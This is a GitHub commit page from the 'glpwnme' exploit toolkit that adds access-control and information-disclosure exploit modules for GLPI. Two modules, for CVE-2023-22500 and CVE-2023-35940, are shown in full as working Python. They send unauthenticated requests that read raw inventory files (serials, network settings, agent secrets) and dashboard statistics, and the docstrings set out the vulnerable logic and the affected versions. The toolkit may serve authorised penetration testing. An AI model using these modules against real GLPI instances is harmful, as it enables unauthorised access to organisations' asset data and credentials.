Skip to content

Commit cb80416

Browse files
author
j4kuuu
committed
Add access-control / IDOR / info-disclosure modules
1 parent 4a05445 commit cb80416

15 files changed

Lines changed: 2724 additions & 0 deletions

glpwnme/exploits/implementations/__init__.py

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,20 @@
2727
# GLPI classic check
2828
from .default_password_check import DEFAULT_PASSWORD_CHECK
2929

30+
from .cve_2023_22500 import CVE_2023_22500
31+
from .cve_2023_35940 import CVE_2023_35940
32+
from .cve_2024_43416 import CVE_2024_43416
33+
from .cve_2025_53105 import CVE_2025_53105
34+
from .cve_2025_53111 import CVE_2025_53111
35+
from .cve_2025_53112 import CVE_2025_53112
36+
from .cve_2025_53113 import CVE_2025_53113
37+
from .cve_2025_53357 import CVE_2025_53357
38+
from .cve_2025_64516 import CVE_2025_64516
39+
from .cve_2025_64520 import CVE_2025_64520
40+
from .cve_2026_32312 import CVE_2026_32312
41+
from .cve_2026_42318 import CVE_2026_42318
42+
from .ghsa_mxf4_8mjr_3qh2 import GHSA_MXF4_8MJR_3QH2
43+
3044
def get_all_exploits():
3145
"""
3246
Return the exploit available as Class
@@ -38,5 +52,6 @@ def get_all_exploits():
3852
all_exploits = [CVE_2020_15175, CVE_2022_31061, CVE_2022_35914, UNSERIALIZE_ORDER_2022, CVE_2023_41323, CVE_2023_41326]
3953
all_exploits += [PHP_UPLOAD, CVE_2024_27937, CVE_2024_29889, CVE_2024_37148, CVE_2024_37149]
4054
all_exploits += [CVE_2024_40638, CVE_2024_50339, CVE_2025_24799, CVE_2025_32786, CVE_2026_26026]
55+
all_exploits += [CVE_2023_22500, CVE_2023_35940, CVE_2024_43416, CVE_2025_53105, CVE_2025_53111, CVE_2025_53112, CVE_2025_53113, CVE_2025_53357, CVE_2025_64516, CVE_2025_64520, CVE_2026_32312, CVE_2026_42318, GHSA_MXF4_8MJR_3QH2]
4156
all_exploits += [DEFAULT_PASSWORD_CHECK]
4257
return all_exploits
Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
from ..exploit import GlpiExploit
2+
from glpwnme.exploits.logger import Log
3+
4+
5+
class CVE_2023_22500(GlpiExploit):
6+
"""
7+
Unauthenticated access to native-inventory files via the public-FAQ bypass in
8+
front/document.send.php (GLPI 10.0.0 - 10.0.5).
9+
10+
The document streamer gated the WHOLE controller on the public-FAQ flag and
11+
then served the raw inventory directory with no rights check (10.0.5):
12+
13+
if (!$CFG_GLPI["use_public_faq"]) {
14+
Session::checkLoginUser(); // skipped entirely when FAQ is public
15+
}
16+
...
17+
} else if (isset($_GET["file"])) { // arbitrary server file branch
18+
$splitter = explode("/", $_GET["file"], 2);
19+
...
20+
if ($splitter[0] == "_inventory") { // NO right check
21+
$iconf = new Conf();
22+
if ($iconf->isInventoryFile(GLPI_INVENTORY_DIR.'/'.$splitter[1])) {
23+
$send = GLPI_INVENTORY_DIR.'/'.$splitter[1]; // streamed
24+
}
25+
}
26+
if ($send && file_exists($send)) {
27+
Toolbox::sendFile($send, ...); // raw content, no auth
28+
} else {
29+
Html::displayErrorAndDie('Unauthorized access to this file', true);
30+
}
31+
32+
So when public FAQ is enabled (a common helpdesk config), an anonymous
33+
request to:
34+
35+
/front/document.send.php?file=_inventory/<path>.json
36+
37+
reaches the inventory branch with no session. A real inventory file
38+
(files/_inventories/...) is streamed verbatim; a non-existent one returns the
39+
application page "Unauthorized access to this file" - in either case HTTP 200,
40+
never a login redirect. These inventory files contain full raw asset data
41+
(serials, software, network config, agent secrets).
42+
43+
Fix (GLPI 10.0.6): Session::checkLoginUser() was moved INSIDE the file=
44+
branch so it always runs, and the inventory case gained
45+
`&& Session::haveRight(Conf::$rightname, READ)`. Unauthenticated requests now
46+
302-redirect to the login page.
47+
48+
Behaviorally verified: with use_public_faq=1, file=_inventory/<x>.json
49+
returns HTTP 200 ("Unauthorized access to this file", or raw file content) on
50+
10.0.2 and 10.0.5, and HTTP 302 to /index.php?redirect=... on 10.0.6 / 10.0.7
51+
/ 10.0.16 / 10.0.25 (same FAQ precondition). front/computer.php stays 302 on
52+
every instance, proving the server enforces auth generally and the 200 is the
53+
bypass, not a wide-open server.
54+
55+
Sibling: CVE-2023-35940 (unauth dashboard data, same 10.0.8 era).
56+
57+
@author unclej4ck
58+
@cvss 7.5
59+
@name CVE_2023_22500
60+
"""
61+
_impacts = "Information Disclosure, Broken Access Control"
62+
_privilege = "Unauthenticated"
63+
_is_check_opsec_safe = True
64+
min_version = "10.0.0"
65+
max_version = "10.0.6" # exclusive: 10.0.0-10.0.5 vulnerable, fixed in 10.0.6
66+
67+
_DOC = "/front/document.send.php"
68+
_FAQ = "/front/helpdesk.faq.php"
69+
_CTRL = "/front/computer.php" # always login-gated -> proves auth is enforced
70+
71+
# markers Html::displayErrorAndDie emits from the unauth file= branch
72+
_APP_MARKERS = ("Unauthorized access to this file", "Invalid filename")
73+
74+
# ------------------------------------------------------------------ #
75+
# HTTP helpers #
76+
# ------------------------------------------------------------------ #
77+
78+
def _raw_get(self, path):
79+
return self.get(path, timeout=15, allow_redirects=False)
80+
81+
def _inv_path(self, name):
82+
return f"{self._DOC}?file=_inventory/{name}"
83+
84+
@staticmethod
85+
def _is_login_redirect(resp):
86+
if resp.status_code not in (301, 302, 303, 307, 308):
87+
return False
88+
loc = resp.headers.get("Location", "")
89+
return "login.php" in loc or "redirect=" in loc or loc.rstrip("/").endswith("index.php")
90+
91+
def _reached_file_branch(self, resp):
92+
"""True if the anonymous request reached the file= application logic
93+
(200, no login redirect) instead of being bounced to login."""
94+
if self._is_login_redirect(resp):
95+
return False
96+
if resp.status_code != 200:
97+
return False
98+
body = resp.text or ""
99+
# Either a rendered app error from the file branch, or raw streamed
100+
# content (non-HTML body for an existing inventory file).
101+
if any(m in body for m in self._APP_MARKERS):
102+
return True
103+
# streamed file: not the login page, not an HTML error shell
104+
looks_html = "<html" in body[:200].lower() or "<!DOCTYPE" in body[:200]
105+
return not looks_html
106+
107+
# ------------------------------------------------------------------ #
108+
# Exploit interface #
109+
# ------------------------------------------------------------------ #
110+
111+
def infos(self):
112+
infos = "[u]Description:[/u]\n"
113+
infos += "Unauthenticated access to native-inventory files via the public-FAQ bypass\n"
114+
infos += "in [b]front/document.send.php[/b] (GLPI 10.0.0 - 10.0.5). When public FAQ is\n"
115+
infos += "enabled the controller skips [i]checkLoginUser()[/i] and the [b]file=_inventory/[/b]\n"
116+
infos += "branch streams files/_inventories content with no rights check.\n"
117+
infos += "Fix 10.0.6: login check moved inside the branch + inventory READ right.\n"
118+
119+
infos += "\n[u]Required:[/u]\n"
120+
infos += " - Public FAQ enabled ([i]use_public_faq=1[/i]); the bypass is otherwise login-gated\n"
121+
122+
infos += "\n[u]Params (run):[/u]\n"
123+
infos += " - [i]file[/i]: inventory path under _inventory/ to fetch\n"
124+
infos += " (e.g. computer/<deviceid>.json)\n"
125+
126+
infos += "\n[u]Usage:[/u]\n"
127+
infos += "[grey66]# Check (no auth)[/]\n--check\n\n"
128+
infos += "[grey66]# Fetch a known inventory file[/]\n"
129+
infos += "--run -O file=computer/<deviceid>.json\n"
130+
131+
infos += "\nExploit is [green b]Safe[/] (read-only GET probe)"
132+
return infos
133+
134+
def check(self):
135+
"""
136+
Clean differential (precondition: public FAQ enabled):
137+
- file=_inventory/<rand>.json -> 200 app page / raw content (vulnerable)
138+
- benign control front/computer.php -> login redirect (server DOES gate)
139+
Patched (10.0.6+) redirects the same _inventory request to login, so
140+
_reached_file_branch is False.
141+
"""
142+
# negative control: a normal page MUST redirect, else the server is wide
143+
# open and any 200 is meaningless.
144+
ctrl = self._raw_get(self._CTRL)
145+
if not self._is_login_redirect(ctrl):
146+
Log.log(f"Control {self._CTRL} did not login-redirect "
147+
f"(HTTP {ctrl.status_code}) - server is not auth-gated, "
148+
"differential untrustworthy")
149+
return False
150+
151+
# precondition probe: the bypass only exists when public FAQ is on
152+
faq = self._raw_get(self._FAQ)
153+
faq_open = (faq.status_code == 200) and not self._is_login_redirect(faq)
154+
if not faq_open:
155+
Log.log("Public FAQ is disabled - the document.send.php bypass is "
156+
"login-gated on this instance; not exploitable as configured")
157+
return False
158+
159+
Log.log("Public FAQ enabled; requesting an inventory file unauthenticated ...")
160+
import uuid
161+
probe = self._raw_get(self._inv_path(f"glpwnme-{uuid.uuid4().hex[:10]}.json"))
162+
if not self._reached_file_branch(probe):
163+
Log.log(f"Inventory file request returned HTTP {probe.status_code} "
164+
f"(login redirect) - patched (10.0.6+)")
165+
return False
166+
167+
Log.msg("Unauthenticated access to the inventory file branch confirmed "
168+
"(public FAQ on, control page still login-gated) - CVE-2023-22500")
169+
return True
170+
171+
def run(self, file=None):
172+
"""Fetch an inventory file unauthenticated. With no -O file, probes the
173+
branch and lists guidance; inventory files live under
174+
files/_inventories/<itemtype>/<deviceid>.<json|xml>."""
175+
if not file:
176+
import uuid
177+
probe = self._raw_get(self._inv_path(f"glpwnme-{uuid.uuid4().hex[:10]}.json"))
178+
if self._reached_file_branch(probe):
179+
Log.msg("Inventory file branch reachable unauthenticated. Supply a "
180+
"path with [b]-O file=computer/<deviceid>.json[/b] to fetch "
181+
"raw asset data (serials, software, network, agent secrets).")
182+
else:
183+
Log.err("Inventory branch not reachable (patched or public FAQ off)")
184+
return
185+
186+
resp = self._raw_get(self._inv_path(file))
187+
if self._is_login_redirect(resp):
188+
Log.err("Login redirect - patched or public FAQ off")
189+
return
190+
body = resp.text or ""
191+
if resp.status_code == 200 and not any(m in body for m in self._APP_MARKERS):
192+
Log.msg(f"Fetched [gold3]_inventory/{file}[/] ({len(body)} bytes):")
193+
Log.msg(body if len(body) < 4000 else body[:4000] + "\n...[truncated]")
194+
self._write_log(f"CVE-2023-22500 leaked _inventory/{file} ({len(body)} bytes)")
195+
else:
196+
Log.err(f"No such inventory file (HTTP {resp.status_code}): _inventory/{file}")
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
from ..exploit import GlpiExploit
2+
from glpwnme.exploits.logger import Log
3+
4+
5+
class CVE_2023_35940(GlpiExploit):
6+
"""
7+
Unauthenticated access to dashboard data via the embed bypass in
8+
ajax/dashboard.php (GLPI 10.0.0 - 10.0.7).
9+
10+
The dashboard AJAX controller gates access like this (10.0.7):
11+
12+
if (!isset($request_data['embed']) || !$request_data['embed']) {
13+
Session::checkLoginUser();
14+
} else if (!in_array($_REQUEST['action'],
15+
['get_dashboard_items','get_card','get_cards'])) {
16+
Html::displayRightError();
17+
}
18+
19+
When `embed` is truthy AND the action is one of get_card / get_cards /
20+
get_dashboard_items, NEITHER Session::checkLoginUser() NOR the embed token
21+
check runs. Grid::checkToken() exists but is only invoked from the
22+
front/central.php embed() path, never from this handler. So an
23+
unauthenticated request to:
24+
25+
/ajax/dashboard.php?action=get_card&embed=1&dashboard=central
26+
&card_id=bn_count_User&args[widgettype]=bigNumber&args[force]=1
27+
28+
renders the requested card widget and leaks instance data (counts of
29+
Users, Tickets, Computers, Software, etc.) with no session and no token.
30+
31+
Fix (GLPI 10.0.8): the embed branch now calls Grid::checkToken($request_data)
32+
and returns 403 when the token is missing/invalid, plus per-action right
33+
checks were added. Verified behaviorally: HTTP 200 + rendered count on
34+
10.0.1, HTTP 403 on 10.0.9 / 10.0.16 / 10.0.17 / 10.0.25 and on 11.0.x.
35+
36+
Related dashboard authz fix: CVE-2023-35939 (same 10.0.8 patch, the
37+
authenticated cross-dashboard variant).
38+
39+
@author unclej4ck
40+
@cvss 7.5
41+
@name CVE_2023_35940
42+
"""
43+
_impacts = "Information Disclosure, Broken Access Control"
44+
_privilege = "Unauthenticated"
45+
_is_check_opsec_safe = True
46+
min_version = "10.0.0"
47+
max_version = "10.0.8" # exclusive: 10.0.0-10.0.7 vulnerable, fixed in 10.0.8
48+
49+
_EP = "/ajax/dashboard.php"
50+
51+
# Built-in bigNumber cards. card_id -> the itemtype label the widget renders.
52+
_CARDS = [
53+
("bn_count_User", "User"),
54+
("bn_count_Ticket", "Ticket"),
55+
("bn_count_Computer", "Computer"),
56+
("bn_count_Software", "Software"),
57+
("bn_count_Problem", "Problem"),
58+
]
59+
60+
# ------------------------------------------------------------------ #
61+
# HTTP helper #
62+
# ------------------------------------------------------------------ #
63+
64+
def _get_card(self, card_id, embed=True):
65+
params = {
66+
"action": "get_card",
67+
"dashboard": "central",
68+
"card_id": card_id,
69+
"args[widgettype]": "bigNumber",
70+
"args[force]": "1",
71+
}
72+
if embed:
73+
params["embed"] = "1"
74+
return self.get(self._EP, params=params, timeout=15, allow_redirects=False)
75+
76+
@staticmethod
77+
def _is_rendered_card(resp):
78+
"""A real, non-empty bigNumber card was returned (not empty/error/denied)."""
79+
if resp.status_code != 200:
80+
return False
81+
body = resp.text
82+
if "Access denied" in body or "empty-card" in body or "empty card" in body:
83+
return False
84+
# The bigNumber widget renders <a class="card big-number ..."> with a
85+
# <span class="formatted-number"><span class="number">N</span>.
86+
return ("big-number" in body or "formatted-number" in body)
87+
88+
# ------------------------------------------------------------------ #
89+
# Exploit interface #
90+
# ------------------------------------------------------------------ #
91+
92+
def infos(self):
93+
infos = "[u]Description:[/u]\n"
94+
infos += "Unauthenticated access to dashboard data via the embed bypass in\n"
95+
infos += "[b]ajax/dashboard.php[/b] (GLPI 10.0.0 - 10.0.7).\n"
96+
infos += "With [b]embed=1[/b] and action [b]get_card[/b]/[b]get_cards[/b], the controller\n"
97+
infos += "skips both [i]checkLoginUser()[/i] and the embed token check, rendering any\n"
98+
infos += "built-in card and leaking instance counts (users, tickets, assets...).\n"
99+
100+
infos += "\n[u]Params (run):[/u]\n"
101+
infos += " - [i]card (default 'bn_count_User')[/i]: card_id to render\n"
102+
103+
infos += "\n[u]Usage:[/u]\n"
104+
infos += "[grey66]# Check (no auth)[/]\n--check\n\n"
105+
infos += "[grey66]# Leak the built-in count cards[/]\n--run\n"
106+
107+
infos += "\nExploit is [green b]Safe[/] (read-only, GET probe)"
108+
return infos
109+
110+
def check(self):
111+
"""
112+
Clean differential:
113+
- embed=1 get_card -> 200 with a rendered bigNumber card (vulnerable)
114+
- benign no-embed -> NOT 200 (302 login redirect) (negative control)
115+
Patched (10.0.8+) returns 403 on the embed branch, so _is_rendered_card is False.
116+
"""
117+
Log.log("Sending unauthenticated get_card with embed=1 ...")
118+
embed_resp = self._get_card("bn_count_User", embed=True)
119+
if not self._is_rendered_card(embed_resp):
120+
Log.log(f"Embed get_card returned HTTP {embed_resp.status_code} without a "
121+
"rendered card - patched (10.0.8+) or dashboard unavailable")
122+
return False
123+
124+
Log.log("Negative control: same request WITHOUT embed (must require login) ...")
125+
base_resp = self._get_card("bn_count_User", embed=False)
126+
if base_resp.status_code == 200 and self._is_rendered_card(base_resp):
127+
Log.log("No-embed request also returned a card - not the embed bypass, dropping")
128+
return False
129+
130+
Log.msg("Unauthenticated dashboard card rendered via embed bypass "
131+
"(no-embed control denied) - CVE-2023-35940")
132+
return True
133+
134+
def run(self, card=None):
135+
"""Leak the built-in bigNumber count cards (or a single supplied card_id)."""
136+
targets = [(card, card)] if card else self._CARDS
137+
any_hit = False
138+
for card_id, _label in targets:
139+
resp = self._get_card(card_id, embed=True)
140+
if not self._is_rendered_card(resp):
141+
continue
142+
any_hit = True
143+
text = resp.text
144+
# Strip tags and pull the "<n> <Label>" the bigNumber widget renders.
145+
import re
146+
flat = re.sub(r"<[^>]*>", " ", text)
147+
flat = re.sub(r"\s+", " ", flat).strip()
148+
m = re.search(r"(\d[\d,]*)\s+([A-Za-z][A-Za-z ]+)", flat)
149+
value = m.group(0).strip() if m else "(rendered, value not parsed)"
150+
Log.msg(f"[gold3]{card_id}[/] -> [green b]{value}[/green b]")
151+
if not any_hit:
152+
Log.err("No card rendered - target patched or dashboard data unavailable")

0 commit comments

Comments
 (0)